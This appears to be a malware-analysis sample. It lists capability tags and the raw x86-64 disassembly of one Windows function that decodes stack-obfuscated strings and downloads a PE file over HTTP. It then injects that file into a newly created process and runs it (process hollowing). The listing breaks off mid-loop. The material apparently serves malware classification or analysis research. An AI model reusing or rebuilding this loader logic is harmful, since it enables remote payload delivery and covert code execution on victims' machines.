Function at 0x140001888
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create http request
Encode data using base64
Execute shellcode via indirect call
Get http content length
Parse pe header
Read data from internet
Receive data
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xa28
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x990], xmm6
call fcn.1400131f0
call fcn.1400030ec
test al, al
je 0x140002d31
call fcn.140003112
test al, al
je 0x140002d31
call fcn.140003142
test al, al
je 0x140002d31
call fcn.140003246
test al, al
je 0x140002d31
call fcn.140003457
mov edi, 0x1632ee
lea rsi, [rbp + 0x461]
mov dword [rsi - 1], edi
call fcn.140001706
mov dword [rsi - 1], edi
mov byte [rsi - 1], 0
mov byte [rsi], 0x5a
mov byte [rsi + 1], 0x2f
mov al, 0x54
mov byte [rsi + 2], al
mov byte [rsi + 3], 0x5f
mov byte [rsi + 4], 0x69
mov byte [rsi + 5], 0x22
mov byte [rsi + 6], 0x73
mov byte [rsi + 7], al
mov byte [rsi + 8], 0x21
mov byte [rsi + 9], 0x7e
mov byte [rsi + 0xa], 0x6a
cmp byte [rsi - 1], 0
jne 0x1400019a0
mov eax, 1
movzx ecx, byte [rbp + rax + 0x460]
imul ecx, ecx, 0xffffffd3
mov edx, ecx
add edx, 0x12a2
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x12a2
movzx edx, dx
movsx r8d, dx
shr edx, 0xf
sar r8d, 6
add r8d, edx
mov edx, r8d
shl edx, 7
sub r8d, edx
add ecx, r8d
add ecx, 0x12a2
lea edx, [rcx + 0x7f]
cmp cx, 0xff81
movzx edx, dl
cmovb edx, ecx
mov byte [rbp + rax + 0x460], dl
inc rax
cmp rax, 0xc
jne 0x140001939
mov dword [rsp + 0x20], 0
mov rcx, rsi
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenA]
test rax, rax
je 0x140002d92
mov qword [rbp + 0x960], rax
lea rbx, [rbp - 0x2f]
mov byte [rbx - 1], 0
mov byte [rbx], 0x7d
mov al, 0x63
mov byte [rbx + 1], al
mov byte [rbx + 2], al
mov dl, 0x17
mov byte [rbx + 3], dl
mov byte [rbx + 4], 0x50
mov byte [rbx + 5], 0xd
mov r8b, 0x3a
mov byte [rbx + 6], r8b
mov byte [rbx + 7], r8b
mov cl, 0xb
mov byte [rbx + 8], cl
mov r11b, 0x57
mov byte [rbx + 9], r11b
mov r9b, 0x31
mov byte [rbx + 0xa], r9b
mov r10b, 0x73
mov byte [rbx + 0xb], r10b
mov r15b, 0x14
mov byte [rbx + 0xc], r15b
mov dil, 0x79
mov byte [rbx + 0xd], dil
mov r14b, 0x1a
mov byte [rbx + 0xe], r14b
mov byte [rbx + 0xf], r15b
mov sil, 0x60
mov byte [rbx + 0x10], sil
mov byte [rbx + 0x11], 0x2d
mov r12b, 0x40
mov byte [rbx + 0x12], r12b
mov byte [rbx + 0x13], r15b
mov byte [rbx + 0x14], r12b
mov byte [rbx + 0x15], dil
mov byte [rbx + 0x16], r15b
mov byte [rbx + 0x17], r10b
mov byte [rbx + 0x18], r10b
mov byte [rbx + 0x19], r14b
mov r14b, 0x27
mov byte [rbx + 0x1a], r14b
mov dil, 0x70
mov byte [rbx + 0x1b], dil
mov byte [rbx + 0x1c], 0x6a
mov r12b, 0x3d
mov byte [rbx + 0x1d], r12b
mov byte [rbx + 0x1e], 4
mov byte [rbx + 0x1f], 0x37
mov byte [rbx + 0x20], r15b
mov byte [rbx + 0x21], r11b
mov byte [rbx + 0x22], r12b
mov r11b, 0x44
mov byte [rbx + 0x23], r11b
mov byte [rbx + 0x24], r11b
mov byte [rbx + 0x25], r14b
mov r11b, 0x77
mov byte [rbx + 0x26], r11b
mov byte [rbx + 0x27], dl
mov byte [rbx + 0x28], dl
mov byte [rbx + 0x29], r10b
mov byte [rbx + 0x2a], r10b
mov byte [rbx + 0x2b], sil
mov byte [rbx + 0x2c], r8b
mov byte [rbx + 0x2d], r12b
mov byte [rbx + 0x2e], r11b
mov byte [rbx + 0x2f], 0x1d
mov byte [rbx + 0x30], r9b
mov byte [rbx + 0x31], r11b
mov byte [rbx + 0x32], al
mov byte [rbx + 0x33], r11b
mov byte [rbx + 0x34], r14b
mov byte [rbx + 0x35], cl
mov byte [rbx + 0x36], 0x11
mov byte [rbx + 0x37], dil
mov byte [rbx + 0x38], 0x36
cmp byte [rbx - 1], 0
jne 0x140001b44
mov eax, 1
movzx ecx, byte [rbp + rax - 0x30]
shl ecx, 2
lea ecx, [rcx + rcx*4]
mov edx, 0x438
sub edx, ecx
movsx ecx, dx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
movzx ecx, cx
movsx r8d, cx
shr ecx, 0xf
sar r8d, 6
add r8d, ecx
mov ecx, r8d
shl ecx, 7
sub r8d, ecx
add r8d, edx
lea ecx, [r8 + 0x7f]
cmp r8w, 0xff81
movzx ecx, cl
cmovb ecx, r8d
mov byte [rbp + rax - 0x30], cl
inc rax
cmp rax, 0x3a
jne 0x140001aea
lea rax, [rbp + 0x470]
mov qword [rax - 0x10], rax
mov rcx, rbx
call sub.msvcrt.dll_strlen
lea r8, [rax + rbx]
lea rdi, [rbp + 0x460]
mov rcx, rdi
mov rdx, rbx
call fcn.1400a23e0
lea r14, [rbp + 0x3e1]
mov byte [r14 - 1], 0
mov byte [r14], 0x68
mov al, 0x7d
mov byte [r14 + 1], al
mov byte [r14 + 2], al
mov dl, 0x76
mov byte [r14 + 3], dl
mov byte [r14 + 4], 0x1c
mov byte [r14 + 5], 0x57
mov r8b, 0x24
mov byte [r14 + 6], r8b
mov byte [r14 + 7], r8b
mov cl, 0x1e
mov byte [r14 + 8], cl
mov r11b, 0x25
mov byte [r14 + 9], r11b
mov r9b, 0x61
mov byte [r14 + 0xa], r9b
mov r10b, 0x49
mov byte [r14 + 0xb], r10b
mov r15b, 0x60
mov byte [r14 + 0xc], r15b
mov r12b, 0x75
mov byte [r14 + 0xd], r12b
mov r13b, 0xd
mov byte [r14 + 0xe], r13b
mov byte [r14 + 0xf], r15b
mov sil, 0x67
mov byte [r14 + 0x10], sil
mov byte [r14 + 0x11], 0x6e
mov bl, 0x50
mov byte [r14 + 0x12], bl
mov byte [r14 + 0x13], r15b
mov byte [r14 + 0x14], bl
mov byte [r14 + 0x15], r12b
mov byte [r14 + 0x16], r15b
mov byte [r14 + 0x17], r10b
mov byte [r14 + 0x18], r10b
mov byte [r14 + 0x19], r13b
mov r13b, 0x42
mov byte [r14 + 0x1a], r13b
mov r12b, 0x33
mov byte [r14 + 0x1b], r12b
mov byte [r14 + 0x1c], 7
mov bl, 0x3a
mov byte [r14 + 0x1d], bl
mov byte [r14 + 0x1e], 0x15
mov byte [r14 + 0x1f], 0xe
mov byte [r14 + 0x20], r15b
mov byte [r14 + 0x21], r11b
mov byte [r14 + 0x22], bl
mov r11b, 0x43
mov byte [r14 + 0x23], r11b
mov byte [r14 + 0x24], r11b
mov byte [r14 + 0x25], r13b
mov r11b, 0x3c
mov byte [r14 + 0x26], r11b
mov byte [r14 + 0x27], dl
mov byte [r14 + 0x28], dl
mov byte [r14 + 0x29], r10b
mov byte [r14 + 0x2a], r10b
mov byte [r14 + 0x2b], sil
mov byte [r14 + 0x2c], r8b
mov byte [r14 + 0x2d], bl
mov byte [r14 + 0x2e], r11b
mov byte [r14 + 0x2f], 0x23
mov byte [r14 + 0x30], r9b
mov byte [r14 + 0x31], r11b
mov byte [r14 + 0x32], al
mov byte [r14 + 0x33], r11b
mov byte [r14 + 0x34], r13b
mov byte [r14 + 0x35], cl
mov byte [r14 + 0x36], 0x4a
mov byte [r14 + 0x37], r12b
mov byte [r14 + 0x38], 0x31
cmp byte [r14 - 1], 0
jne 0x140001d07
mov eax, 1
movzx ecx, byte [rbp + rax + 0x3e0]
imul ecx, ecx, 0x37
mov edx, ecx
add edx, 0xfffff579
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xfffff579
movzx edx, dx
movsx r8d, dx
shr edx, 0xf
sar r8d, 6
add r8d, edx
mov edx, r8d
shl edx, 7
sub r8d, edx
add ecx, r8d
add ecx, 0xfffff579
lea edx, [rcx + 0x7f]
cmp cx, 0xff81
movzx edx, dl
cmovb edx, ecx
mov byte [rbp + rax + 0x3e0], dl
inc rax
cmp rax, 0x3a
jne 0x140001ca0
lea rax, [rbp + 0x490]
mov qword [rax - 0x10], rax
mov rcx, r14
call sub.msvcrt.dll_strlen
lea r8, [rax + r14]
lea rcx, [rbp + 0x480]
mov rdx, r14
call fcn.1400a23e0
lea rdx, [rbp + 0x3d0]
mov qword [rdx], rdi
mov qword [rdx + 8], 2
lea rcx, [rbp + 0x448]
lea r8, [rbp + 0x938]
call fcn.1400a107a
mov rsi, 0xffffffffffffffc0
lea rdi, [rbp + 0x4a0]
mov rcx, qword [rdi - 0x20]
lea rax, [rdi - 0x10]
cmp rax, rcx
je 0x140001d72
call fcn.1400b7820
add rdi, 0xffffffffffffffe0
add rsi, 0x20
jne 0x140001d60
mov r13, qword [rbp + 0x448]
mov r15, qword [rbp + 0x450]
cmp r13, r15
mov rdi, qword [rbp + 0x960]
je 0x140002c2e
xorps xmm6, xmm6
mov dword [rbp + 0x988], 0
mov rdx, qword [r13]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x400100
mov rcx, rdi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
test rax, rax
je 0x140001eba
mov dword [rbp + 0x98c], 0
mov dword [rbp + 0x968], 4
mov qword [rsp + 0x20], 0
mov qword [rbp + 0x958], rax
mov rcx, rax
mov edx, 0x20000005
lea r8, [rbp + 0x98c]
lea r9, [rbp + 0x968]
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov edx, dword [rbp + 0x98c]
lea rcx, [rbp + 0x938]
lea r8, [rbp + 0x460]
call fcn.1400a1118
mov dword [rbp + 0x96c], 0
mov rdx, qword [rbp + 0x938]
mov r8d, dword [rbp + 0x98c]
mov rsi, qword [rbp + 0x958]
mov rcx, rsi
lea r9, [rbp + 0x96c]
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r14, qword [rbp + 0x938]
mov dword [rbp + 0x460], 0x1632ee
imul eax, dword [rbp + 0x460], 0xaaaaaaab
add eax, 0x2aaaaaaa
cmp eax, 0x55555555
jb 0x140002052
mov eax, dword [rbp + 0x460]
add eax, r14d
add eax, 2
mov dword [rbp + 0x460], eax
test dword [rbp + 0x460], 3
jne 0x14000218d
inc dword [rbp + 0x460]
jmp 0x140001ea2
mov rsi, rax
mov byte [rbp + 0x460], 0
mov byte [rbp + 0x461], 0x60
mov al, 0x1f
mov byte [rbp + 0x462], al
mov cl, 0x57
mov byte [rbp + 0x463], cl
mov dl, 0x6c
mov byte [rbp + 0x464], dl
mov r8b, 0x3b
mov byte [rbp + 0x465], r8b
mov r9b, 0x34
mov byte [rbp + 0x466], r9b
mov r10b, 0x54
mov byte [rbp + 0x467], r10b
mov byte [rbp + 0x468], 0x25
mov r11b, 2
mov byte [rbp + 0x469], r11b
mov byte [rbp + 0x46a], r10b
mov byte [rbp + 0x46b], r9b
mov byte [rbp + 0x46c], r11b
mov byte [rbp + 0x46d], 0x3a
mov byte [rbp + 0x46e], 0x7a
mov byte [rbp + 0x46f], dl
mov byte [rbp + 0x470], r11b
mov byte [rbp + 0x471], al
mov byte [rbp + 0x472], r9b
mov byte [rbp + 0x473], r10b
mov byte [rbp + 0x474], 0x42
mov byte [rbp + 0x475], cl
mov byte [rbp + 0x476], dl
mov byte [rbp + 0x477], r8b
mov byte [rbp + 0x478], 0x37
mov byte [rbp + 0x479], 0x72
cmp byte [rbp + 0x460], 0
jne 0x140001feb
mov eax, 1
movzx ecx, byte [rbp + rax + 0x460]
add ecx, ecx
lea ecx, [rcx + rcx*8]
mov edx, 0x804
sub edx, ecx
movsx ecx, dx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
movzx ecx, cx
movsx r8d, cx
shr ecx, 0xf
sar r8d, 6
add r8d, ecx
mov ecx, r8d
shl ecx, 7
sub r8d, ecx
add r8d, edx
lea ecx, [r8 + 0x7f]
cmp r8w, 0xff81
movzx ecx, cl
cmovb ecx, r8d
mov byte [rbp + rax + 0x460], cl
inc rax
cmp rax, 0x1a
jne 0x140001f8c
lea rbx, [rbp + 0x461]
mov rcx, rbx
call sub.msvcrt.dll_strlen
mov rcx, qword [0x1400c41a0]
mov rdx, rbx
mov r8, rax
call fcn.1400b26a0
mov rdx, qword [0x1400c41a0]
mov rax, qword [rdx]
mov rcx, qword [rax - 0x18]
add rcx, rdx
mov dl, 0xa
call fcn.140069280
mov rcx, qword [0x1400c41a0]
mov edx, eax
call fcn.140076e20
mov rcx, rax
call fcn.140077000
mov dword [rbp + 0x988], 1
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140002c18
test dword [rbp + 0x460], 1
mov eax, dword [rbp + 0x460]
jne 0x1400020cb
mov ecx, dword [rbp + 0x460]
test al, 3
je 0x14000210f
add ecx, 2
lea eax, [r14 + 3]
imul eax, ecx
mov dword [rbp + 0x460], eax
mov eax, dword [rbp + 0x460]
test al, 1
jne 0x14000218d
imul ecx, dword [rbp + 0x460], 0xcccccccd
add ecx, 0x19999999
mov eax, dword [rbp + 0x460]
cmp ecx, 0x33333333
jb 0x1400020b2
dec eax
jmp 0x1400020b4
inc eax
mov dword [rbp + 0x460], eax
test dword [rbp + 0x460], 1
je 0x140002090
jmp 0x14000218d
sub eax, r14d
add eax, 2
mov dword [rbp + 0x460], eax
imul eax, dword [rbp + 0x460], 0xaaaaaaab
add eax, 0x2aaaaaaa
cmp eax, 0x55555554
ja 0x14000218d
inc dword [rbp + 0x460]
imul eax, dword [rbp + 0x460], 0xaaaaaaab
add eax, 0x2aaaaaaa
cmp eax, 0x55555555
jb 0x1400020f1
jmp 0x14000218d
imul eax, ecx, 0xcccccccd
add eax, 0x19999999
cmp eax, 0x33333333
jb 0x14000218d
mov eax, dword [rbp + 0x460]
add eax, 0xb
lea ecx, [r14 + 0x17]
cdq
idiv ecx
mov dword [rbp + 0x460], eax
imul eax, dword [rbp + 0x460], 0xaaaaaaab
add eax, 0x2aaaaaaa
cmp eax, 0x55555554
ja 0x14000218d
imul ecx, dword [rbp + 0x460], 0xcccccccd
add ecx, 0x19999999
mov eax, dword [rbp + 0x460]
cmp ecx, 0x33333333
jb 0x14000216f
inc eax
jmp 0x140002171
dec eax
mov dword [rbp + 0x460], eax
imul eax, dword [rbp + 0x460], 0xaaaaaaab
add eax, 0x2aaaaaaa
cmp eax, 0x55555555
jb 0x14000214d
movaps xmmword [rbp + 0x970], xmm6
xor eax, eax
mov qword [rbp + 0x980], rax
movaps xmmword [rbp + 0x3e0], xmm6
movaps xmmword [rbp + 0x3f0], xmm6
movaps xmmword [rbp + 0x400], xmm6
movaps xmmword [rbp + 0x410], xmm6
movaps xmmword [rbp + 0x420], xmm6
movaps xmmword [rbp + 0x430], xmm6
mov qword [rbp + 0x440], rax
mov dword [rbp + 0x460], 0x1632ee
movsxd rax, dword [r14 + 0x3c]
cmp dword [rax + r14], 0x4550
jne 0x14000268f
mov rdi, rax
xor ecx, ecx
lea rdx, [rbp - 0x30]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [rbp + 0x460], 0
mov byte [rbp + 0x461], 0x36
mov al, 0x7a
mov byte [rbp + 0x462], al
mov byte [rbp + 0x463], 0x11
mov byte [rbp + 0x464], 0x14
mov byte [rbp + 0x465], al
mov al, 0x55
mov byte [rbp + 0x466], al
mov byte [rbp + 0x467], 0x60
mov byte [rbp + 0x468], 0x41
mov byte [rbp + 0x469], 0x44
mov byte [rbp + 0x46a], 0x5b
mov byte [rbp + 0x46b], al
mov byte [rbp + 0x46c], al
mov byte [rbp + 0x46d], 0x27
cmp byte [rbp + 0x460], 0
jne 0x1400022d7
mov eax, 1
movzx ecx, byte [rbp + rax + 0x460]
lea edx, [rcx + rcx*4]
lea r8d, [rcx + rdx*8]
lea ecx, [rcx + rdx*8]
add ecx, 0xfffff9c1
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, r8d
add ecx, 0xfffff9c1
movzx ecx, cx
movsx edx, cx
shr ecx, 0xf
sar edx, 6
add edx, ecx
mov ecx, edx
shl ecx, 7
sub edx, ecx
lea ecx, [rdx + r8]
add ecx, 0xfffff9c1
lea edx, [rcx + 0x7f]
cmp cx, 0xff81
movzx edx, dl
cmovb edx, ecx
mov byte [rbp + rax + 0x460], dl
inc rax
cmp rax, 0xe
jne 0x14000226e
lea rcx, [rbp + 0x461]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140002798
mov byte [rbp + 0x460], 0
mov byte [rbp + 0x461], 0x1d
mov al, 0x7a
mov byte [rbp + 0x462], al
mov cl, 0x7e
mov byte [rbp + 0x463], cl
mov byte [rbp + 0x464], 0xa
mov byte [rbp + 0x465], 0x35
mov byte [rbp + 0x466], cl
mov byte [rbp + 0x467], 0x19
mov byte [rbp + 0x468], al
mov byte [rbp + 0x469], 0x23
mov byte [rbp + 0x46a], 0x44
mov byte [rbp + 0x46b], cl
mov al, 0x18
mov byte [rbp + 0x46c], al
mov byte [rbp + 0x46d], al
mov byte [rbp + 0x46e], 0x62
mov byte [rbp + 0x46f], 0x76
cmp byte [rbp + 0x460], 0
jne 0x1400023d4
mov eax, 1
movzx ecx, byte [rbp + rax + 0x460]
imul ecx, ecx, 0xffffffdd
mov edx, ecx
add edx, 0x1022
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x1022
movzx edx, dx
movsx r8d, dx
shr edx, 0xf
sar r8d, 6
add r8d, edx
mov edx, r8d
shl edx, 7
sub r8d, edx
add ecx, r8d
add ecx, 0x1022
lea edx, [rcx + 0x7f]
cmp cx, 0xff81
movzx edx, dl
cmovb edx, ecx
mov byte [rbp + rax + 0x460], dl
inc rax
cmp rax, 0x10
jne 0x14000236d
mov rcx, rbx
lea rdx, [rbp + 0x461]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov byte [rbp + 0x460], 0
mov byte [rbp + 0x461], 0x61
mov cl, 0x30
mov byte [rbp + 0x462], cl
mov byte [rbp + 0x463], 0x16
mov byte [rbp + 0x464], 0x52
mov dl, 0x51
mov byte [rbp + 0x465], dl
mov byte [rbp + 0x466], 0x69
mov byte [rbp + 0x467], cl
mov r8b, 0x7c
mov byte [rbp + 0x468], r8b
mov byte [rbp + 0x469], 0x2f
mov byte [rbp + 0x46a], dl
mov al, 0x41
mov byte [rbp + 0x46b], al
mov byte [rbp + 0x46c], al
mov byte [rbp + 0x46d], 0x36
mov byte [rbp + 0x46e], dl
mov byte [rbp + 0x46f], 0x5a
mov byte [rbp + 0x470], r8b
mov byte [rbp + 0x471], cl
mov byte [rbp + 0x472], 0x28
mov byte [rbp + 0x473], 0xf
cmp byte [rbp + 0x460], 0
jne 0x1400024ee
mov eax, 1
movzx ecx, byte [rbp + rax + 0x460]
lea ecx, [rcx + rcx*4]
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rcx*2]
add ecx, 0xffffff1f
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xffffff1f
movzx ecx, cx
movsx r8d, cx
shr ecx, 0xf
sar r8d, 6
add r8d, ecx
mov ecx, r8d
shl ecx, 7
sub r8d, ecx
lea ecx, [r8 + rdx]
add ecx, 0xffffff1f
lea edx, [rcx + 0x7f]
cmp cx, 0xff81
movzx edx, dl
cmovb edx, ecx
mov byte [rbp + rax + 0x460], dl
inc rax
cmp rax, 0x14
jne 0x140002482
mov rcx, rbx
lea rdx, [rbp + 0x461]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test r12, r12
je 0x1400028fc
mov rbx, rax
test rax, rax
je 0x1400028fc
mov rsi, r15
lea rax, [rbp + 0x970]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3e0]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rcx, [rbp - 0x30]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call r12
test rax, rax
je 0x140002a8d
mov dword [rbp + 0x490], 0x10000b
mov rcx, qword [rbp + 0x978]
lea rdx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140002bdc
add rdi, r14
mov rcx, qword [rbp + 0x970]
mov rdx, qword [rdi + 0x30]
mov r15, rdi
mov r8d, dword [rdi + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
mov dword [rbp + 0x934], 0x1632ee
mov rcx, qword [rbp + 0x970]
mov r9d, dword [r15 + 0x54]
mov qword [rsp + 0x20], 0
mov rdx, rax
mov r8, r14
call rbx
mov qword [rbp + 0x950], rsi
cmp word [r15 + 6], 0
je 0x140002626
lea rdi, [r14 + 0x108]
xor esi, esi
movsxd rax, dword [r14 + 0x3c]
mov rcx, qword [rbp + 0x970]
mov edx, dword [rdi + rax + 0xc]
mov r9d, dword [rdi + rax + 0x10]
add rdx, r12
mov r8d, dword [rdi + rax + 0x14]
add r8, r14
mov qword [rsp + 0x20], 0
call rbx
inc rsi
movzx eax, word [r15 + 6]
add rdi, 0x28
cmp rsi, rax
jb 0x1400025eb
lea r8, [r15 + 0x30]
mov rcx, qword [rbp + 0x970]
mov rdx, qword [rbp + 0x4e8]
add rdx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
call rbx
mov rsi, qword [rbp + 0x950]
mov eax, dword [r15 + 0x28]
add rax, r12
mov qword [rbp + 0x4e0], rax
mov qword [rbp + 0x4e8], r12
mov rcx, qword [rbp + 0x978]
lea rdx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 0x978]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x140002bdc
mov byte [rbp + 0x460], 0
mov byte [rbp + 0x461], 0x5c
mov byte [rbp + 0x462], 0x3d
mov byte [rbp + 0x463], 0x2c
mov byte [rbp + 0x464], 0x29
mov dl, 0x61
mov byte [rbp + 0x465], dl
mov cl, 0x18
mov byte [rbp + 0x466], cl
mov byte [rbp + 0x467], 0x72
mov al, 0x44
mov byte [rbp + 0x468], al
mov byte [rbp + 0x469], 0x5d
mov byte [rbp + 0x46a], 0x25
mov byte [rbp + 0x46b], al
mov byte [rbp + 0x46c], 0x4e
mov byte [rbp + 0x46d], cl
mov byte [rbp + 0x46e], dl
mov byte [rbp + 0x46f], 0x60
mov byte [rbp + 0x470], 0x46
mov byte [rbp + 0x471], 0x53
mov byte [rbp + 0x472], 9
cmp byte [rbp + 0x460], 0
jne 0x140002787
mov eax, 1
movzx ecx, byte [rbp + rax + 0x460]
lea edx, [rcx*8]
sub edx, ecx
mov ecx, edx
add ecx, 0xffffffc1
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xffffffc1
movzx ecx, cx
movsx r8d, cx
shr ecx, 0xf
sar r8d, 6
add r8d, ecx
mov ecx, r8d
shl ecx, 7
sub r8d, ecx
lea ecx, [rdx + r8]
add ecx, 0xffffffc1
lea edx, [rcx + 0x7f]
cmp cx, 0xff81
movzx edx, dl
cmovb edx, ecx
mov byte [rbp + rax + 0x460], dl
inc rax
cmp rax, 0x13
jne 0x140002722
lea rcx, [rbp + 0x461]
call fcn.140002f57
jmp 0x140002bdf
mov byte [rbp + 0x460], 0
mov byte [rbp + 0x461], 0x6f
mov al, 0x55
mov byte [rbp + 0x462], al
mov byte [rbp + 0x463], 0x52
mov cl, 0x41
mov byte [rbp + 0x464], cl
mov dl, 0x14
mov byte [rbp + 0x465], dl
mov r8b, 0x44
mov byte [rbp + 0x466], r8b
mov r9b, 0x1e
mov byte [rbp + 0x467], r9b
mov byte [rbp + 0x468], 0x3e
mov r10b, 0x30
mov byte [rbp + 0x469], r10b
mov byte [rbp + 0x46a], r9b
mov byte [rbp + 0x46b], cl
mov byte [rbp + 0x46c], r10b
mov byte [rbp + 0x46d], al
mov byte [rbp + 0x46e], r8b
mov byte [rbp + 0x46f], r9b
mov byte [rbp + 0x470], 0x71
mov byte [rbp + 0x471], dl
mov byte [rbp + 0x472], 0x1f
mov byte [rbp + 0x473], 0x60
mov byte [rbp + 0x474], dl
mov byte [rbp + 0x475], cl
mov byte [rbp + 0x476], 7
mov byte [rbp + 0x477], 0x37
mov al, 0x78
mov byte [rbp + 0x478], al
mov byte [rbp + 0x479], r8b
mov byte [rbp + 0x47a], cl
mov byte [rbp + 0x47b], cl
mov byte [rbp + 0x47c], al
mov byte [rbp + 0x47d], 0x46
mov byte [rbp + 0x47e], 0x2a
cmp byte [rbp + 0x460], 0
jne 0x1400028eb
mov eax, 1
movzx ecx, byte [rbp + rax + 0x460]
imul ecx, ecx, 0xffffffd3
mov edx, ecx
add edx, 0x762
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x762
movzx edx, dx
movsx r8d, dx
shr edx, 0xf
sar r8d, 6
add r8d, edx
mov edx, r8d
shl edx, 7
sub r8d, edx
add ecx, r8d
add ecx, 0x762
lea edx, [rcx + 0x7f]
cmp cx, 0xff81
movzx edx, dl
cmovb edx, ecx
mov byte [rbp + rax + 0x460], dl
inc rax
cmp rax, 0x1f
jne 0x140002884
lea rcx, [rbp + 0x461]
call fcn.140002f57
jmp 0x140002bdf
mov byte [rbp + 0x460], 0
mov byte [rbp + 0x461], 0xa
mov dl, 0x65
mov byte [rbp + 0x462], dl
mov al, 0x30
mov byte [rbp + 0x463], al
mov byte [rbp + 0x464], 0x2c
mov r8b, 0xb
mov byte [rbp + 0x465], r8b
mov r9b, 0x61
mov byte [rbp + 0x466], r9b
mov r10b, 0x67
mov byte [rbp + 0x467], r10b
mov r11b, 0x76
mov byte [rbp + 0x468], r11b
mov bl, 0x28
mov byte [rbp + 0x469], bl
mov byte [rbp + 0x46a], r10b
mov byte [rbp + 0x46b], 0x5d
mov byte [rbp + 0x46c], r8b
mov byte [rbp + 0x46d], r11b
mov byte [rbp + 0x46e], r10b
mov byte [rbp + 0x46f], 0x34
mov byte [rbp + 0x470], 0x20
mov cl, 0x7e
mov byte [rbp + 0x471], cl
mov byte [rbp + 0x472], 0x38
mov byte [rbp + 0x473], r11b
mov byte [rbp + 0x474], al
mov byte [rbp + 0x475], bl
mov byte [rbp + 0x476], cl
mov byte [rbp + 0x477], r10b
mov byte [rbp + 0x478], dl
mov byte [rbp + 0x479], r9b
mov byte [rbp + 0x47a], r9b
mov byte [rbp + 0x47b], 0x24
mov byte [rbp + 0x47c], r8b
mov al, 0x4d
mov byte [rbp + 0x47d], al
mov byte [rbp + 0x47e], al
mov byte [rbp + 0x47f], r8b
mov byte [rbp + 0x480], al
mov byte [rbp + 0x481], 0x2a
mov byte [rbp + 0x482], 0x5a
mov byte [rbp + 0x483], 0x3d
cmp byte [rbp + 0x460], 0
jne 0x140002a7c
mov eax, 1
movzx edx, byte [rbp + rax + 0x460]
mov ecx, edx
shl ecx, 5
sub ecx, edx
mov edx, ecx
add edx, 0xfffff89d
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xfffff89d
movzx edx, dx
movsx r8d, dx
shr edx, 0xf
sar r8d, 6
add r8d, edx
mov edx, r8d
shl edx, 7
sub r8d, edx
add ecx, r8d
add ecx, 0xfffff89d
lea edx, [rcx + 0x7f]
cmp cx, 0xff81
movzx edx, dl
cmovb edx, ecx
mov byte [rbp + rax + 0x460], dl
inc rax
cmp rax, 0x24
jne 0x140002a11
lea rcx, [rbp + 0x461]
call fcn.140002f57
jmp 0x140002bdf
mov byte [rbp + 0x460], 0
mov byte [rbp + 0x461], 0x6d
mov r9b, 0x2a
mov byte [rbp + 0x462], r9b
mov byte [rbp + 0x463], 0x58
mov byte [rbp + 0x464], 0xa
mov dl, 0x41
mov byte [rbp + 0x465], dl
mov byte [rbp + 0x466], 0x5b
mov r8b, 0x51
mov byte [rbp + 0x467], r8b
mov r10b, 0x38
mov byte [rbp + 0x468], r10b
mov cl, 0x3b
mov byte [rbp + 0x469], cl
mov byte [rbp + 0x46a], r8b
mov r11b, 0x75
mov byte [rbp + 0x46b], r11b
mov al, 0x6c
mov byte [rbp + 0x46c], al
mov byte [rbp + 0x46d], dl
mov byte [rbp + 0x46e], r9b
mov byte [rbp + 0x46f], r10b
mov byte [rbp + 0x470], dl
mov byte [rbp + 0x471], r8b
mov byte [rbp + 0x472], 0x21
mov byte [rbp + 0x473], al
mov byte [rbp + 0x474], cl
mov byte [rbp + 0x475], r11b
mov byte [rbp + 0x476], dl
mov al, 0x52
mov byte [rbp + 0x477], al
mov byte [rbp + 0x478], al
mov byte [rbp + 0x479], 0x62
mov byte [rbp + 0x47a], 0x12
mov byte [rbp + 0x47b], 0x18
cmp byte [rbp + 0x460], 0
jne 0x140002bd0
mov eax, 1
movzx ecx, byte [rbp + rax + 0x460]
imul ecx, ecx, 0xffffffd4
mov edx, ecx
add edx, 0x420
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
